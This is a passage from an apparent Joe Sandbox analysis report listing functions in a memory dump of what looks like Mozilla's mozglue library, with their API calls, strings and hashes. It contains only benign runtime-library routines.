EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C995D67
__aulldiv.LIBCMT ref: 6C995DB4
LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C995DED

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 2dc2bac017ab47f9519fcc8f7825f2faf9a37a5f6cb887eb9b89b970949fa9c1
Instruction ID: 2f074c44e8672181cc98172e460f8abe21ca34044700b7da729b45fa9723b8b2
Opcode Fuzzy Hash: 2dc2bac017ab47f9519fcc8f7825f2faf9a37a5f6cb887eb9b89b970949fa9c1
Instruction Fuzzy Hash: 59517F71E041598FCF08CFA8D854ABFBBB2FF95318F298619C821A7750DB31A945CB90

Function 6C97CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C97CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C97CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C97CF4E

Strings

0, xrefs: 6C97CF30

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 77b8501866e7952235f044416aa32153e6a19e8713015ab1048f5dc218c346b3
Instruction ID: 5fe912b11ae423d23500783942404a00769b0699653ab192f35eda0b3572c4d4
Opcode Fuzzy Hash: 77b8501866e7952235f044416aa32153e6a19e8713015ab1048f5dc218c346b3
Instruction Fuzzy Hash: 2051F075A0425A8FCB10CF18C890AAABBB5FFA9300F198599D8595F752D731ED06CBE0

Function 6C9D77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9D7829

Part of subcall function 6C9ACC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9731A7), ref: 6C9ACC45
Part of subcall function 6C9ACC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9731A7), ref: 6C9ACC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9D789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9D78CF

Part of subcall function 6C974DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C974E5A
Part of subcall function 6C974DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C974E97

Part of subcall function 6C974290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9B3EBD,6C9B3EBD,00000000), ref: 6C9742A9

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 6a3d1ae5d10353b0010b0021fc0559223e60abc01d9a80f20d989caed6e02e59
Instruction ID: e7802144691cfa94841e5dee71cad2a04a894be4e702d1047ca8388d7b0fcb8e
Opcode Fuzzy Hash: 6a3d1ae5d10353b0010b0021fc0559223e60abc01d9a80f20d989caed6e02e59
Instruction Fuzzy Hash: 5241C171904B469BD300DF29C48056AFBF4FFAA254F204A2DE4A987741DB30E559CB92

Function 6C9B6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9B82BC,?,?), ref: 6C9B649B

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B64A9

Part of subcall function 6C9AFA80: GetCurrentThreadId.KERNEL32 ref: 6C9AFA8D
Part of subcall function 6C9AFA80: AcquireSRWLockExclusive.KERNEL32(6C9FF448), ref: 6C9AFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B653F
free.MOZGLUE(?), ref: 6C9B655A

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 918f7609503181ee6cd6e4662ffb1f86f5bf362fa792a595e5e18de6dcac8d15
Instruction ID: 67ad384c2f63cfd14f4216b578e6e312960a4ee7fc91be9312a5a075e9c25911
Opcode Fuzzy Hash: 918f7609503181ee6cd6e4662ffb1f86f5bf362fa792a595e5e18de6dcac8d15
Instruction Fuzzy Hash: CF3161B5A04705AFD704CF14D88469FBBF4BF99314F10442EE85A97741DB70E919CB92

Function 6C9AFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9CD019,?,?,?,?,?,00000000,?,6C9BDA31,00100000,?), ref: 6C9AFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9CD019,?,?,?,?,?,00000000,?,6C9BDA31,00100000,?,?), ref: 6C9AFFF5
free.MOZGLUE(?,?,?,?,?,6C9CD019,?,?,?,?,?,00000000,?,6C9BDA31,00100000,?), ref: 6C9B001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9CD019,?,?,?,?,?,00000000,?,6C9BDA31,00100000,?,?), ref: 6C9B002A

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 0d5debca1564e274e2dfb21e8d15a0922c32165763b63fa465a8cd01aa5d060f
Instruction ID: 4eabde87bbe5c0cc1fc3788f57ee5dd662648e1cb3c46d878ffee782585b639f
Opcode Fuzzy Hash: 0d5debca1564e274e2dfb21e8d15a0922c32165763b63fa465a8cd01aa5d060f
Instruction Fuzzy Hash: AE21DBB2A001155BD7089EB8DC9446FB7BAFB993247250738D525D7780E670DD1187D1

Function 6C98B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98B4F5
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C98B502
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C98B542
free.MOZGLUE(?), ref: 6C98B578

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: dabcc6d131e9e6395a879ea80f1ed3734b8a21caaab5aab3b81288d8580b7629
Instruction ID: 426cf5cef55b39acdd42dd5347c03da8908861d187236eaca40d4bca57b30a55
Opcode Fuzzy Hash: dabcc6d131e9e6395a879ea80f1ed3734b8a21caaab5aab3b81288d8580b7629
Instruction Fuzzy Hash: 7B11AF31A08B45C7D7118F29D804766B3B5FFAA319F289B0EE89953E01EBB1E5C5C790

Function 6C9B3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C97F20E,?), ref: 6C9B3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C97F20E,00000000,?), ref: 6C9B3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C9B3E0E

Part of subcall function 6C9ACC00: GetCurrentProcess.KERNEL32(?,?,6C9731A7), ref: 6C9ACC0D
Part of subcall function 6C9ACC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9731A7), ref: 6C9ACC16

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: dfeec6cdfb942057770334122e8dde7531b2e19a3730b4f7a66ad733e34bd918
Instruction ID: 4e114a230377c18aa089f64b61f0c168455963ad95dcf762367a2af5c007269d
Opcode Fuzzy Hash: dfeec6cdfb942057770334122e8dde7531b2e19a3730b4f7a66ad733e34bd918
Instruction Fuzzy Hash: 7CF082B15002087BDB00AB54EC81DAB377CEF56628F140020FD1917740D635FE2586F7

Function 6C9C20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9C20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C9AFBD1), ref: 6C9C20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C9AFBD1), ref: 6C9C20DA
free.MOZGLUE(00000000,?,6C9AFBD1), ref: 6C9C20F1

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 5b611ebc793c1a6f496f24fa690f50d5800c4ed18231f8520aa826244da72d63
Instruction ID: a23d99e90184b2cabae6b20a75088ae631c913ba970b2f9eb8e740cc6f150905
Opcode Fuzzy Hash: 5b611ebc793c1a6f496f24fa690f50d5800c4ed18231f8520aa826244da72d63
Instruction Fuzzy Hash: 11E0E531704A149BC3209F25A80854EB7F9EF96215B24022BE54A83B00DB76E94687D7

Function 6C9C85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9C85D3

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9C8725

Strings

map/set<T> too long, xrefs: 6C9C8720

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 05d40cb6fec76d83108f0ed39942a52dc2d2b3430087c35b1b757bf1a28c273b
Instruction ID: f4843c64989f5d5e909302d3e11f6ec5ef6ce76dab0ba23351473d26afaaa32f
Opcode Fuzzy Hash: 05d40cb6fec76d83108f0ed39942a52dc2d2b3430087c35b1b757bf1a28c273b
Instruction Fuzzy Hash: F45166B4600645CFD705CF28C284A56BBF1BF5A318F19C28AD8595BB52C335E885CF97

Function 6C97BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C97BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97BE8F

Strings

0, xrefs: 6C97BE5B

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: a227c529280da47cb33336b54fd9c8b86f7c60d5bcd99dcad23fbbb346d5487f
Instruction ID: 806aaa79a4b99f126a9556b7d28e9613cb5a527bde1aaf37b060641bb554ac82
Opcode Fuzzy Hash: a227c529280da47cb33336b54fd9c8b86f7c60d5bcd99dcad23fbbb346d5487f
Instruction Fuzzy Hash: 3441AF7190A745CFC761CF28C481A9BB7F4AF9A348F008A1DF985A7711E730D9498BA2

Function 6C9B3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9B3D19
mozalloc_abort.MOZGLUE(?), ref: 6C9B3D6C

Strings

d, xrefs: 6C9B3D58

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: bdcdf4a654b886c5c9a61a944ebb7bfde1955628057c2ebd5ee2bd81b0f10ddf
Instruction ID: a2271f83391c3805bb7cba2ae0bf878566e68d6c6936135fafd217a90764d6d8
Opcode Fuzzy Hash: bdcdf4a654b886c5c9a61a944ebb7bfde1955628057c2ebd5ee2bd81b0f10ddf
Instruction Fuzzy Hash: 2111B236E08688E7DB00DB69CC144AEB775FFEA218B459219D859AB702EF30E584C390

Function 6C984730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9844B2,6C9FE21C,6C9FF7F8), ref: 6C98473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C98474A

Strings

GetNtLoaderAPI, xrefs: 6C984744

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: bd9162e444ce9ec8457ca741976fd7fd9445895899494c9adc16e5e8e999ea6c
Instruction ID: dd6de7d4ea9d7d43c49b9891315453e1f22e5c4a0c81386a53be2baa6331c324
Opcode Fuzzy Hash: bd9162e444ce9ec8457ca741976fd7fd9445895899494c9adc16e5e8e999ea6c
Instruction Fuzzy Hash: 4B01CC753053488FCF049F66D8946197BFDEF8B728B144469E91AC7300DB34D8028F91

Function 6C9D6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9D6E22
__Init_thread_footer.LIBCMT ref: 6C9D6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9D6E1D

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 6452dd18ab6e82a6ee480d12290490ec7053b49ca780474b3001a6ea8eccb965
Instruction ID: e259f07353e5044d3d3bb14c73956ab4c572034c519b522b6abe50d176c04477
Opcode Fuzzy Hash: 6452dd18ab6e82a6ee480d12290490ec7053b49ca780474b3001a6ea8eccb965
Instruction Fuzzy Hash: 52F02471208649CBDB008BA8E990A8933B1536321CF254565C42487B51CF21F52BCBA3

Function 6C989E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C989EEF

Strings

Infinity, xrefs: 6C989EB7
NaN, xrefs: 6C989EC1

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: f0ae55f1e77cd2cdc95b48aeeeda94225ecf447ddf6c67d87bb1d0917dd0ee33
Instruction ID: 86e2e7edf9bc7559f163c5b9e04e4ff582458ad15a4fdea54f40796426b1fd5c
Opcode Fuzzy Hash: f0ae55f1e77cd2cdc95b48aeeeda94225ecf447ddf6c67d87bb1d0917dd0ee33
Instruction Fuzzy Hash: 6CF087B1609241CBEB008B58F889B8437F1B76731CF300A19C5284BB41D776E54ACBB2

Function 6C98BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C98BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C98BEF5

Strings

cryptbase.dll, xrefs: 6C98BEF0

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c6f69c0f2569bfe04499d8366677adf3adb03097d40390b34d26ee7c1c1f2f16
Instruction ID: 498ec1aacb8386a8c969504c2b8b84dde47216710bd2999bc32db8f1e449b6a9
Opcode Fuzzy Hash: c6f69c0f2569bfe04499d8366677adf3adb03097d40390b34d26ee7c1c1f2f16
Instruction Fuzzy Hash: CCD0C731185108EADB406E549D09B1937789701715F24C421F77555952C7B1D455CFD4

Function 6C9750E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C974E9C,?,?,?,?,?), ref: 6C97510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C974E9C,?,?,?,?,?), ref: 6C975167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C975196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C974E9C), ref: 6C975234

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 1ccf6cea32c0598dc5a9324288fec6ae775da1a9b11d4efa76f40447f1e9eaec
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: A791C235606656CFCB25CF08C490A56BBA5FF99318B29858CDC589BB15D332FD42CBE0

Function 6C9B08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9B0918
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9B09A6
EnterCriticalSection.KERNEL32(6C9FE7DC,?,00000000), ref: 6C9B09F3
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9B0ACB

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 651faaeee23367de11f16d647aa0e1a3e46fe97ba85ec44c7b001723a2576881
Instruction ID: 3e583b2b059ab4aa75faafc79bc49b248153375f99519276fcd2745f1c236e13
Opcode Fuzzy Hash: 651faaeee23367de11f16d647aa0e1a3e46fe97ba85ec44c7b001723a2576881
Instruction Fuzzy Hash: 88516872B05654DBEB189A55D54462B33B5EB82F28734453AD975A7F80DB31E802C7C0

Function 6C9CB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9CB2C9,?,?,?,6C9CB127,?,?,?,?,?,?,?,?,?,6C9CAE52), ref: 6C9CB628

Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C90FF
Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C9108

